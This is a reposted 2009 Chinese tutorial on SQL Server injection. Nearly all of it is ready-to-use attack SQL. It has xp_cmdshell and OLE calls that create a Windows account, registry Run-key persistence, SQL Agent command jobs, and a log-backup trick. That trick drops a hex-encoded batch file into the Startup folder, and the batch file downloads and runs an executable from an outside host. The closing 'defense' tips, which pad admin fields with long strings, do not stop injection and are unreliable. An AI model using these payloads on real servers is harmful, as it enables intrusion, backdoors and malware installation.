当前位置: 首页 > 图文教程 > 服务器 > Linux服务器 > SQL Server注入大全及防御

Linux服务器
linux下用cron定时执行任务的方法
.htaccess绑定域名到子目录的方法
linux apache下虚拟主机配置方法
apache 局域网访问配置方案
linux Apache服务器系统安全设置与优化
linux中mac地址绑定方法
linux托盘不断闪烁之解决方法
Apache配置 虚拟转向实例
Apache No space left on device的解决办法
Apache rewrite的重写相关的参数说明
LINUX入门级常用命令20条整理
Ubuntu设置开机自动挂载所有格式硬盘分区
5个可能被你忽略的Linux安全设置方法
学习Apache的mod rewrite、access写法
改版时保留原链接,创建新的URL的方法
rsync中文手册之使用rsync实现网站镜像和备份linux
rsync 数据同步使用详解
linux URL的301重定向代码分析
eclipse3.2.2 + MyEclipse5.5 + Tomcat5.5.27 配置数据库连接池
Apache服务器二级域名的完美实现

Linux服务器 中的 SQL Server注入大全及防御


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-30   浏览: 172 ::
收藏到网摘: n/a

  SQL Server是中小型网站广泛使用的数据库,由于功能强大也滋生了很多安全问题,国内又因为SQL注入攻击的很长一段时间流行,导致对SQL Server的入侵技巧也层出不穷,由于SQL Server支持多语句,相信很多小黑在对SQL Server进去SQL注入的时候很少使用猜解表名之类的方法,而直接转向使用SQL Server的存储过程和函数快速的拿权限,下面我就围绕SQL Server的系统存储过程和函数来介绍这些黑客技巧。

  一、执行系统命令

  利用存储过程我们可以快速方便的获取一个shell,如执行系统命令,存储扩展调用如下:

  exec master..xp_cmdshell 'net user ray ray /add'

  xp_cmdshell是SQL Server自带的系统命令存储过程,默认情况下只有SYSADMIN服务器角色才能执行。

  

  利用OLE对象接口,SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,可以利用他们调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

  DECLARE @shell INT

  EXEC SP_OAcreate 'wscript.shell',@shell out

  EXEC SP_OAMETHOD @shell,'run',null, 'net user ray ray /add'

  

  开启access的沙盒模式,在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,但是开启了JET引擎的沙盒模式后就可以执行命令,先利用xp_regwrite存储过程改写注册表,然后利用OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。

  EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',0

  

  Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user ray ray /add")');

  

  除开这些,还可以利用SQL代理执行命令,当然必须先开启SQL代理服务,默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。

  exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'

  use msdb exec sp_delete_job null,'x'

  exec sp_add_job 'x'

  exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:\'

  exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

  二、写任意文件执行命令

  利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。

  EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','shell','REG_SZ','C:\windows\system32\cmd.exe /c net user ray ray /add'

  

  备份日志到启动项

  我们可以开启一个数据库的完全恢复模式,然后新建个表,插入要备份进日志的命令,最后把日志备份成批处理文件到用户启动文件夹,机器重新启动后就会运行这个文件。

  alter database msdb set RECOVERY FULL--

  create table cmd (a image)--

  backup log msdb to disk = 'c:\cmd1' with init--

  insert into cmd (a) values (0x130A0D0A6563686F2053657420503D6372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293E6B2E7662730D0A6563686F20502E4F70656E2022474554222C22687474703A2F2F7777772E6973746F2E636E2F742E657865222C30203E3E6B2E7662730D0A6563686F20502E53656E6428293A73657420473D6372656174654F626A656374282241444F44422E53747265616D22293E3E6B2E7662730D0A6563686F20472E4D6F64653D333A472E547970653D313A472E4F70656E2829203E3E6B2E76627320200D0A6563686F20472E577269746520502E526573706F6E7365426F64793A472E53617665546F46696C652022742E657865222C32203E3E6B2E7662730D0A6B2E7662730D0A740D0A)--

  backup log ISTO to disk = 'C:\Documents and Settings\All Users\「开始」菜单\程序\启动\1.bat'--

  drop table cmd--

  

  三、任意权限用户执行命令

  在任意权限的服务器角色下,我们只要知道服务器的SYSADMIN角色的帐户和密码就能利用OPENROWSET宏执行命令

  select * from OPENROWSET('SQLoledb','uid=sa;pwd=admin;Address=127.0.0.1,7788;','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

  

  四、其他获取系统信息

  历遍目录

  exec master.dbo.xp_dirtree 'c:\'

  

  获取子目录

  exec master.dbo.xp_subdirs 'c:\'

  

  列举可用的系统分区

  exec master.dbo.xp_availablemedia

  

  判断目录或文件是否存在

  exec master..xp_fileexist 'c:\boot.ini'

  

  五、防御SQL注入有妙法

  1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

  2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符,最好大于100个字。

  3.把真正的管理员密码放在ID2后的任何一个位置。

  我们通过上面的三步完成了对数据库的修改。

  这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。